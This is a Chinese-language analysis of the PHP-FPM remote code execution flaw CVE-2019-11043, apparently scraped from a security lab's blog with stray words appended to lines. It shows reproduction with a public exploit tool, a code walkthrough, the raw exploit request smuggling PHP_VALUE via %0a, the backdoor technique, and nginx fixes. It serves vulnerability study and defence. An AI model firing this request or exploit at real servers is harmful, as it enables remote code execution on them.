PHP-fpm 遠程代碼執行漏洞(CVE-2019-11043)分析

做者:LoRexxar'@知道創宇404實驗室
時間:2019年10月25日
原文連接:https://paper.seebug.org/1063/php

國外安全研究員 Andrew Danau在解決一道 CTF 題目時發現,向目標服務器 URL 發送 %0a 符號時,服務返回異常,疑似存在漏洞。html

2019年10月23日,github公開漏洞相關的詳情以及exp。當nginx配置不當時,會致使php-fpm遠程任意代碼執行。nginx

下面咱們就來一點點看看漏洞的詳細分析,文章中漏洞分析部分感謝團隊小夥伴@Hcamael#知道創宇404實驗室git

漏洞復現

爲了能更方便的復現漏洞,這裏咱們採用vulhub來構建漏洞環境。github

https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043

git pulldocker-compose up -d正則表達式

訪問http://{your_ip}:8080/docker

6.png
下載github上公開的exp(須要go環境)。ubuntu

go get github.com/neex/phuip-fpizdam

而後編譯c#

go install github.com/neex/phuip-fpizdam

使用exp攻擊demo網站api

phuip-fpizdam http://{your_ip}:8080/

7.png8.png

攻擊成功

漏洞分析

在分析漏洞原理以前,咱們這裏能夠直接跟入看修復的commit

-https://github.com/php/php-src/commit/ab061f95ca966731b1c84cf5b7b20155c0a1c06a#diff-624bdd47ab6847d777e15327976a9227

9.png

從commit中咱們能夠很清晰的看出來漏洞成因應該是path_info的地址可控致使的,再結合漏洞發現者公開的漏洞信息中提到

The regexp in `fastcgi_split_path_info` directive can be broken using the newline character (in encoded form, %0a). Broken regexp leads to empty PATH_INFO, which triggers the bug.

也就是說,當path_info被%0a截斷時,path_info將被置爲空,回到代碼中我就不難發現問題所在了。

10.png
其中env_path_info就是變量path_info的地址,path_info爲0則plien爲0.

slen變量來自於請求後url的長度

int ptlen = strlen(pt);
    int slen = len - ptlen;

其中

int len = script_path_translated_len;

len爲url路徑長度
當請求url爲http://127.0.0.1/index.php/123%0atest.php
script_path_translated來自於nginx的配置,爲/var/www/html/index.php/123\ntest.php

ptlen則爲url路徑第一個斜槓以前的內容長度
當請求url爲http://127.0.0.1/index.php/123%0atest.php
pt爲/var/www/html/index.php

這兩個變量的差就是後面的路徑長度,因爲路徑可控,則path_info可控。

11.png

因爲path_info可控,在1222行咱們就能夠將指定地址的值置零,根據漏洞發現者的描述,經過將指定的地址的值置零,能夠控制使_fcgi_data_seg結構體的char* pos置零。

12.png

其中script_name一樣來自於請求的配置
13.png

而爲何咱們使_fcgi_data_seg結構體的char* pos置零,就會影響到FCGI_PUTENV的結果呢?

這裏咱們深刻去看FCGI_PUTENV的定義.

char* fcgi_quick_putenv(fcgi_request *req, char* var, int var_len, unsigned int hash_value, char* val);

跟入函數fcgi_quick_putenv

https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fb6c3a6da675aa67197b4/main/fastcgi.c#L1703

14.png
函數直接操做request的env,而這個參數在前面被預約義。

https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fb6c3a6da675aa67197b4/main/fastcgi.c#L908

15.png

繼續跟進初始化函數fcgi_hash_init.

https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fb6c3a6da675aa67197b4/main/fastcgi.c#L254

16.png

也就是說request->env就是前面提到的fcgi_data_seg結構體,而這裏的request->env是nginx在和fastcgi通訊時儲存的全局變量。

部分全局變量會在nginx的配置中定義
17.png

其中變量會在堆上相應的位置儲存
18.png
回到利用過程當中,這裏咱們經過控制path_info指向request->env來使request->env->pos置零。

繼續回到賦值函數fcgi_hash_set函數
19.png

緊接着進入fcgi_hash_strndup

20.png

這裏h->data-》pos的最低位被置爲0,且str可控,就至關於咱們能夠在前面寫入數據。

而問題就在於,咱們怎麼能向咱們想要的位置寫數據呢?又怎麼向咱們指定的配置寫文件呢?

這裏咱們拿exp發送的利用數據包作例子

GET /index.php/PHP_VALUE%0Asession.auto_start=1;;;?QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1
Host: ubuntu.local:8080
User-Agent: Mozilla/5.0
D-Gisos: 8=====================================D
Ebut: mamku tvoyu

在數據包中,header中的最後兩部分就是爲了完成這部分功能,其中D-Gisos負責位移,向指定的位置寫入數據。

Ebut會轉化爲HTTP_EBUT這個fastcgi_param中的其中一個全局變量,而後咱們須要瞭解一下fastcgi中全局變量的獲取數據的方法。

https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fb6c3a6da675aa67197b4/main/fastcgi.c#L328

21.png
能夠看到當fastcgi想要獲取全局變量時,會讀取指定位置的長度字符作對比,而後讀取一個字符串做爲value.

也就是說,只要位置合理,var值相同,且長度相同,fastcgi就會讀取相對應的數據

HTTP_EBUTPHP_VALUE剛好長度相同,咱們能夠從堆上數據的變化來印證這一點。

在覆蓋以前,該地址對應數據爲
22.png

而後執行fcgi_quick_putenv
23.png

該地址對應數據變爲
24.png

咱們成功寫入了PHP_VALUE並控制其內容,這也就意味着咱們能夠控制PHP的任意全局變量。

當咱們能夠控制PHP的任意全局變量就有不少種攻擊方式,這裏直接以EXP中使用到的攻擊方式來舉例子。
25.png

exp做者經過開啓自動包含,並設置包含目錄爲/tmp,以後設置log地址爲/tmp/a並將payload寫入log文件,經過auto_prepend_file自動包含/tmp/a文件構造後門文件。

漏洞修復

在通過對漏洞的深刻研究後,咱們推薦兩種方案修復這個漏洞。

  • 臨時修復:

修改nginx相應的配置,並在php相關的配置中加入

try_files $uri =404

在這種狀況下,會有nginx去檢查文件是否存在,當文件不存在時,請求都不會被傳遞到php-fpm。

漏洞影響

結合EXP github中提到的利用條件,咱們能夠儘量的總結利用條件以及漏洞影響範圍。

一、Nginx + php_fpm,且配置location ~ [^/]\.php(/|$)會將請求轉發到php-fpm。
二、Nginx配置fastcgi_split_path_info而且以^開始以$,只有在這種條件下才能夠經過換行符來打斷正則表達式判斷。 ps: 則容許index.php/321 -> index.php

fastcgi_split_path_info ^(.+?\.php)(/.*)$;

三、fastcgi_paramPATH_INFO會被定義經過fastcgi_param PATH_INFO $fastcgi_path_info;,固然這個變量會在fastcgi_params默認定義。
四、在nginx層面沒有定義對文件的檢查好比try_files $uri =404,若是nginx層面作了文件檢查,則請求不會被轉發給php-fmp。

這個漏洞在實際研究過程當中對真實世界危害有限,其主要緣由都在於大部分的nginx配置中都攜帶了對文件的檢查,且默認的nginx配置不包含這個問題。

但也正是因爲這個緣由,在許多網上的範例代碼或者部分沒有考慮到這個問題的環境,例如Nginx官方文檔中的範例配置、NextCloud默認環境,都出現了這個問題,該漏洞也正真實的威脅着許多服務器的安全。

在這種狀況下,這個漏洞也切切實實的陷入了黑暗森林法則,一旦有某個帶有問題的配置被傳播,其致使的可能就是大批量的服務受到牽連,確保及時的更新永遠是對保護最好的手段:>

參考連接

如需轉載請註明來源

相關文章
相關標籤/搜索